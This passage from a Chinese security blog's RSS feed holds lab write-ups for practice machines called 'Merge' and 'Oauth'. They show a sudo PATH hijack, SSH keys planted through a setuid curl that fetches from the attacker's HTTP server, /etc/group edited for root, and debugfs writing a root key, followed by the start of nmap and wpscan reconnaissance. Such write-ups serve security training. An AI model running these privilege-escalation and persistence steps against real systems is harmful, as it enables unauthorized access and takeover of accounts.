&#10;mono:0ysP8axqGSAkvXnkvxxukVnz&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;获取&lt;code&gt;mono&lt;/code&gt;的凭证。&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="横向移动"&gt;&lt;span&gt;横向移动&lt;/span&gt;&#10; &lt;a href="#%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;h4 class="heading-element" id="mono"&gt;&lt;span&gt;mono&lt;/span&gt;&#10; &lt;a href="#mono" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;mono@Merge:~$ sudo -l&#10;Matching Defaults entries for mono on Merge:&#10; env_reset, mail_badpass,&#10; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty,&#10; env_keep&amp;#43;=PATH, !secure_path&#10;&#10;User mono may run the following commands on Merge:&#10; (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;env_keep+=PATH&lt;/code&gt; 表示保留当前用户&lt;code&gt;mono&lt;/code&gt;的PATH环境变量，&lt;code&gt;secure_path&lt;/code&gt; 用预设的安全路径覆盖掉原来的PATH环境变量。&lt;/p&gt;&#10;&lt;p&gt;只有&lt;code&gt;env_keep+=PATH !secure_path&lt;/code&gt; 同时存在，才能确保：执行 &lt;code&gt;/opt/Dirty-Merge/dirty_merge&lt;/code&gt; 时使用的是用户 &lt;code&gt;mono&lt;/code&gt; 自己设置的 PATH，而不是系统预设的安全路径。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;mono@Merge:/opt/Dirty-Merge$ sed -n &amp;#34;550,800p&amp;#34; gro_fragnesia.c | grep system&#10; ret = system(&amp;#34;ip link add veth0 type veth peer name veth1&amp;#34;);&#10; ret = system(&amp;#34;ip addr add 10.0.0.1/24 dev veth0&amp;#34;);&#10; ret = system(&amp;#34;ip link set veth0 up&amp;#34;);&#10; ret = system(&amp;#34;ip link set lo up&amp;#34;);&#10; ret = system(&amp;#34;ip addr add 10.0.0.2/24 dev veth1&amp;#34;);&#10; ret = system(&amp;#34;ip link set veth1 up&amp;#34;);&#10; ret = system(&amp;#34;ethtool -K veth1 gro on&amp;#34;);&#10; ret = system(buf);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行命令用的是相对路径，所以可以使用环境变量PATH劫持：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;mono@Merge:/tmp$ export PATH=/tmp:$PATH&#10;mono@Merge:/tmp$ echo $PATH&#10;/tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games&#10;&#10;mono@Merge:/tmp$ vim ethtool&#10;mono@Merge:/tmp$ cat ethtool&#10;echo &amp;#34;success&amp;#34;&#10;mkdir /home/lnnn/.ssh&#10;echo &amp;#34;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&amp;#34; &amp;gt; /home/lnnn/.ssh/authorized_keys&#10;chmod 600 /home/lnnn/.ssh/authorized_keys&#10;chmod 700 /home/lnnn/.ssh&#10;mono@Merge:/tmp$ chmod &amp;#43;x ethtool&#10;mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge&lt;/code&gt;&lt;/pre&gt;&lt;h4 class="heading-element" id="lnnn"&gt;&lt;span&gt;lnnn&lt;/span&gt;&#10; &lt;a href="#lnnn" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 &#10;╰─ ssh lnnn@192.168.56.128 -p 22&#10;Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64&#10;&#10;The programs included with the Debian GNU/Linux system are free software;&#10;the exact distribution terms for each program are described in the&#10;individual files in /usr/share/doc/*/copyright.&#10;&#10;Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&#10;permitted by applicable law.&#10;lnnn@Merge:~$ ls -al /opt&#10;total 20&#10;drwxr-xr-x 4 root root 4096 May 22 09:19 .&#10;drwxr-xr-x 18 root root 4096 May 16 05:19 ..&#10;drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin&#10;drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge&#10;-rw-r--r-- 1 root root 30 May 22 06:07 pass.txt&#10;lnnn@Merge:~$ cd /opt/admin&#10;lnnn@Merge:/opt/admin$ ls -al&#10;total 328&#10;drwxr-x--- 2 admin lnnn 4096 May 22 09:20 .&#10;drwxr-xr-x 4 root root 4096 May 22 09:19 ..&#10;-rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl&#10;-rw-r--r-- 1 root root 105 May 22 09:20 hint.txt&#10;lnnn@Merge:/opt/admin$ cat hint.txt&#10;关注详细的参数帮助信息&#10;Focus on the detailed parameter help information&#10;&#10;lnnn@Merge:/opt/admin$ curl --help category&#10;auth 认证方法&#10;connection 连接管理&#10;curl curl 命令行工具本身&#10;deprecated 已废弃/旧版选项&#10;dns DNS 名称解析&#10;file FILE 协议&#10;ftp FTP 协议&#10;global 全局选项&#10;http HTTP 和 HTTPS 协议&#10;imap IMAP 协议&#10;ldap LDAP 协议&#10;output 文件系统输出&#10;pop3 POP3 协议&#10;post HTTP POST 相关选项&#10;proxy 代理选项&#10;scp SCP 协议&#10;sftp SFTP 协议&#10;smtp SMTP 协议&#10;ssh SSH 协议&#10;telnet TELNET 协议&#10;tftp TFTP 协议&#10;timeout 超时和延迟&#10;tls TLS/SSL 相关&#10;upload 上传/发送数据&#10;verbose 详细输出、跟踪、日志等&#10;&#10;lnnn@Merge:/opt/admin$ curl --help output&#10;output: 文件系统输出&#10;--create-dirs 创建必要的本地目录层级&#10;--fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body&#10;-N, --no-buffer 禁用输出流缓冲&#10;--no-clobber 不要覆盖已经存在的文件&#10;-o, --output &amp;lt;file&amp;gt; 把输出写入指定文件，而不是输出到 stdout&#10;--output-dir &amp;lt;dir&amp;gt; 指定保存文件的目录&#10;-J, --remote-header-name 使用响应头里提供的文件名&#10;-O, --remote-name 使用远程文件名保存输出&#10;--remote-name-all 对所有 URL 都使用远程文件名保存&#10;-R, --remote-time 把远程文件的时间设置到本地输出文件上&#10;--remove-on-error 出错时删除输出文件&#10;-i, --show-headers 在输出中显示响应头&#10;--skip-existing 如果本地文件已经存在，则跳过下载&#10;--upload-flags &amp;lt;flags&amp;gt; IMAP 上传行为标志&#10;-B, --use-ascii 使用 ASCII/文本传输&#10;--xattr 把元数据存储到扩展文件属性中&#10;&#10;lnnn@Merge:/opt/admin$ curl --help file&#10;file: FILE 协议&#10;--create-file-mode &amp;lt;mode&amp;gt; 设置新创建文件的权限模式&#10;-I, --head 只显示文档信息/头信息，不显示内容&#10;-l, --list-only 只列出内容，不下载/显示完整数据&#10;-r, --range &amp;lt;range&amp;gt; 只获取指定 RANGE 范围内的字节&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;-o --create-file-mode --create-dirs&lt;/code&gt;：这三个参数可以让我们以admin的身份进行写入。&lt;/p&gt;&#10;&lt;p&gt;通过上面的三个参数将&lt;code&gt;id_ed25519.pub&lt;/code&gt;文件写入到&lt;code&gt;/home/admin/.ssh/authorized_keys&lt;/code&gt;文件里。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~/.ssh ───────────────────────────────────────────────────────────────── ✔  root@kali  04:44:29 &#10;╰─ python3 -m http.server&#10;Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...&#10;&#10;lnnn@Merge:/opt/admin$ ./curl -o /home/admin/.ssh/authorized_keys --create-dirs --create-file-mode 600 http://192.168.56.101:8000/id_ed25519.pub&#10; % Total % Received % Xferd Average Speed Time Time Time Current&#10; Dload Upload Total Spent Left Speed&#10;100 91 100 91 0 0 5586 0 --:--:-- --:--:-- --:--:-- 5687&lt;/code&gt;&lt;/pre&gt;&lt;h4 class="heading-element" id="admin"&gt;&lt;span&gt;admin&lt;/span&gt;&#10; &lt;a href="#admin" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;╭─ ~/.ssh ────────────────────────────────────────────────────────────────────────────────────────────────── ✔  2m 45s  root@kali  04:51:12 &#10;╰─ ssh admin@192.168.56.128 -p 22&#10;Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64&#10;&#10;The programs included with the Debian GNU/Linux system are free software;&#10;the exact distribution terms for each program are described in the&#10;individual files in /usr/share/doc/*/copyright.&#10;&#10;Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&#10;permitted by applicable law.&#10;admin@Merge:~$ ls -al&#10;total 28&#10;drwx------ 3 admin admin 4096 Jun 4 04:51 .&#10;drwxr-xr-x 5 root root 4096 May 22 06:04 ..&#10;-rw-r--r-- 1 admin admin 220 Mar 8 11:21 .bash_logout&#10;-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 .bashrc&#10;-rw-r--r-- 1 root root 29 May 22 09:20 hint.txt&#10;-rw-r--r-- 1 admin admin 807 Mar 8 11:21 .profile&#10;drwxr-x--- 2 admin admin 4096 Jun 4 04:51 .ssh&#10;admin@Merge:~$ cat hint.txt&#10;man,what can i do&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;进行常规的信息收集，发现：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;admin@Merge:~$ find / -writable -type f -exec ls -al {} \; 2&amp;gt;/dev/null | grep -vE &amp;#34;proc|sys&amp;#34;&#10;-rwsr-sr-x 1 admin admin 321880 May 22 09:19 /opt/admin/curl&#10;-rw-r--r-- 1 admin admin 807 Mar 8 11:21 /home/admin/.profile&#10;-rw-rw-r-- 1 admin admin 91 Jun 4 04:51 /home/admin/.ssh/authorized_keys&#10;-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 /home/admin/.bashrc&#10;-rw-r--r-- 1 admin admin 220 Mar 8 11:21 /home/admin/.bash_logout&#10;-rw-rw-r-- 1 root admin 665 May 22 06:04 /etc/group&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="权限提升"&gt;&lt;span&gt;权限提升&lt;/span&gt;&#10; &lt;a href="#%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;我们对于&lt;code&gt;/etc/group&lt;/code&gt;具有写入权限，我们可以给任意用户添加新的组；我记得/etc/sudoers默认规则里有：&lt;code&gt;%sudo ALL=(ALL:ALL) ALL&lt;/code&gt;，&lt;code&gt;mono&lt;/code&gt;，我们知道密码，把&lt;code&gt;mono&lt;/code&gt;添加到&lt;code&gt;sudo&lt;/code&gt;组，我们就可以以任何用户的身份执行任何权限：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;vim /etc/group&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/merge/image-20260604171001037.png' alt="image-20260604171001037" height="253" width="780"&gt;&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;mono@Merge:/tmp$ id&#10;uid=1000(mono) gid=1000(mono) groups=1000(mono)&#10;mono@Merge:/tmp$ newgrp sudo&#10;mono@Merge:/tmp$ id&#10;uid=1000(mono) gid=27(sudo) groups=27(sudo),1000(mono)&#10;mono@Merge:/tmp$ sudo bash&#10;[sudo] password for mono: &#10;root@Merge:/tmp# id&#10;uid=0(root) gid=0(root) groups=0(root)&#10;root@Merge:/tmp# &lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="disk权限提升"&gt;&lt;span&gt;disk权限提升&lt;/span&gt;&#10; &lt;a href="#disk%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;disk 组用户通常可以直接&lt;code&gt;读写&lt;/code&gt;块设备，&lt;strong&gt;通常可以读写块设备，但不一定可以读写&lt;/strong&gt;。&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;确认当前用户是否在&lt;code&gt;disk&lt;/code&gt;组里：&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;pre&gt;&lt;code&gt;admin@Merge:~$ id&#10;uid=1002(admin) gid=1002(admin) groups=1002(admin),6(disk)&lt;/code&gt;&lt;/pre&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;定位目标分区、确认文件系统类型、确认挂载点：&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;pre&gt;&lt;code&gt;lsblk -f&#10;# 看所有块设备和挂载点&#10;df -hT&#10;# 查看当前已挂载分区、类型、容量&#10;findmnt&#10;# 看挂载树，结构更清楚&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这三种方式可以查看哪个是&lt;code&gt;ext系列文件系统&lt;/code&gt;，因为&lt;code&gt;debugfs&lt;/code&gt;主要能读写ext系列文件系统。&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;the0n3&lt;/code&gt; 推荐三种方法：&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;读取私钥/shadow&lt;/li&gt;&#10;&lt;li&gt;sudo提权&lt;/li&gt;&#10;&lt;li&gt;写入公钥&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;这三种是最稳定的，后面的两个需要重启后才能生效，我并没有进行验证。&lt;/p&gt;&#10;&lt;p&gt;方法三：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;admin@Merge:~$ cat /tmp/a&#10;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&#10;admin@Merge:~$ ./debugfs -w /dev/sda1&#10;debugfs 1.47.4 (6-Mar-2025)&#10;debugfs: write /tmp/a /root/.ssh/authorized_keys&#10;Allocated inode: 542507&#10;debugfs: q&#10;admin@Merge:~$ &lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Oauth 复盘</title><link>https://blog.1urkers.cn/p/oauth/</link><pubDate>Wed, 03 Jun 2026 13:15:08 +0800</pubDate><guid>https://blog.1urkers.cn/p/oauth/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;sublarge&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;medium&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ ~ ──────────────────────────────────────────────── INT ✘  4h 33m 6s  root@kali  06:59:02 &#10;╰─ nmap 192.168.56.126 -p-&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:05 -0400&#10;Nmap scan report for 192.168.56.126&#10;Host is up (0.00066s latency).&#10;Not shown: 65532 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;8080/tcp open http-proxy&#10;MAC Address: 08:00:27:D5:46:80 (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds&#10;&#10;╭─ ~ ────────────────────────────────────────────────────────── ✔  18s  root@kali  07:06:03 &#10;╰─ nmap 192.168.56.126 -p22,80,8080 -A&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:06 -0400&#10;WARNING: Service 192.168.56.126:8080 had already soft-matched rtsp, but now soft-matched sip; ignoring second value&#10;Nmap scan report for 192.168.56.126&#10;Host is up (0.0023s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 10.3 (protocol 2.0)&#10;80/tcp open http Apache httpd 2.4.67&#10;|_http-server-header: Apache/2.4.67 (Unix)&#10;|_http-title: Did not follow redirect to http://oauth.dsz/&#10;8080/tcp open rtsp&#10;|_rtsp-methods: ERROR: Script execution failed (use -d to debug)&#10;| http-title: Keycloak Administration Console&#10;|_Requested resource was http://192.168.56.126:8080/admin/master/console/&#10;| http-robots.txt: 1 disallowed entry &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;修改hosts文件：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;# 添加内容&#10;192.168.56.126 oauth.dsz&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;hosts&lt;/code&gt;：&lt;code&gt;C:\Windows\System32\drivers\etc&lt;/code&gt;，linux 在 &lt;code&gt;/etc/hosts&lt;/code&gt; 文件里修改。&lt;/p&gt;&#10;&lt;blockquote&gt;&#10;&lt;p&gt;这里可以了解一下这些端口运行服务的功能&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;p&gt;访问：&lt;code&gt;http://oauth.dsz/&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260601191616417.png' alt="image-20260601191616417" height="289" width="1062"&gt;&lt;/p&gt;&#10;&lt;p&gt;WordPress 框架写的。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ────────────────────────────────────────────────────────── ✔  15s  root@kali  07:24:03 &#10;╰─ wpscan --url http://oauth.dsz/&#10;_______________________________________________________________&#10; __ _______ _____&#10; \ \ / / __ \ / ____|&#10; \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®&#10; \ \/ \/ / | ___/ \___ \ / __|/ _` | &amp;#39;_ \&#10; \ /\ / | | ____) | (__| (_| | | | |&#10; \/ \/ |_| |_____/ \___|\__,_|_| |_|&#10;&#10; WordPress Security Scanner by the WPScan Team&#10; Version 3.8.28&#10; Sponsored by Automattic - https://automattic.com/&#10; @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart&#10;_______________________________________________________________&#10;&#10;[&amp;#43;] URL: http://oauth.dsz/ [192.168.56.126]&#10;[&amp;#43;] Started: Mon Jun 1 07:24:45 2026&#10;&#10;Interesting Finding(s):&#10;&#10;[&amp;#43;] Headers&#10; | Interesting Entries:&#10; | - Server: Apache/2.4.67 (Unix)&#10; | - X-Powered-By: PHP/8.3.31&#10; | Found By: Headers (Passive Detection)&#10; | Confidence: 100%&#10;&#10;[&amp;#43;] XML-RPC seems to be enabled: http://oauth.dsz/xmlrpc.php&#10; | Found By: Direct Access (Aggressive Detection)&#10; | Confidence: 100%&#10; | References:&#10; | - http://codex.wordpress.org/XML-RPC_Pingback_API&#10; | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/&#10; | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/&#10; | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/&#10; | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/&#10;&#10;[&amp;#43;] WordPress readme found: http://oauth.dsz/readme.html&#10; | Found By: Direct Access (Aggressive Detection)&#10; | Confidence: 100%&#10;&#10;[&amp;#43;] Upload directory has listing enabled: http://oauth.dsz/wp-content/uploads/&#10; | Found By: Direct Access (Aggressive Detection)&#10; | Confidence: 100%&#10;&#10;[&amp;#43;] The external WP-Cron seems to be enabled: http://oauth.dsz/wp-cron.php&#10; | Found By: Direct Access (Aggressive Detection)&#10; | Confidence: 60%&#10; | References:&#10; | - https://www.iplocation.net/defend-wordpress-from-ddos&#10; | - https://github.com/wpscanteam/wpscan/issues/1299&#10;&#10;[&amp;#43;] WordPress version 6.9.4 identified (Outdated, released on 2026-03-11).&#10; | Found By: Rss Generator (Passive Detection)&#10; | - http://oauth.dsz/?feed=rss2, &amp;lt;generator&amp;gt;https://wordpress.org/?v=6.9.4&amp;lt;/generator&amp;gt;&#10; | - http://oauth.dsz/?feed=comments-rss2, &amp;lt;generator&amp;gt;https://wordpress.org/?v=6.9.4&amp;lt;/generator&amp;gt;&#10;&#10;[&amp;#43;] WordPress theme in use: twentytwentyfive&#10; | Location: http://oauth.dsz/wp-content/themes/twentytwentyfive/&#10; | Last Updated: 2026-05-20T00:00:00.000Z&#10; | Readme: http://oauth.dsz/wp-content/themes/twentytwentyfive/readme.txt&#10; | [!] The version is out of date, the latest version is 1.5&#10; | [!] Directory listing is enabled&#10; | Style URL: http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css&#10; | Style Name: Twenty Twenty-Five&#10; | Style URI: https://wordpress.org/themes/twentytwentyfive/&#10; | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...&#10; | Author: the WordPress team&#10; | Author URI: https://wordpress.org&#10; |&#10; | Found By: Urls In Homepage (Passive Detection)&#10; |&#10; | Version: 1.4 (80% confidence)&#10; | Found By: Style (Passive Detection)&#10; | - http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css, Match: &amp;#39;Version: 1.4&amp;#39;&#10;&#10;[&amp;#43;] Enumerating All 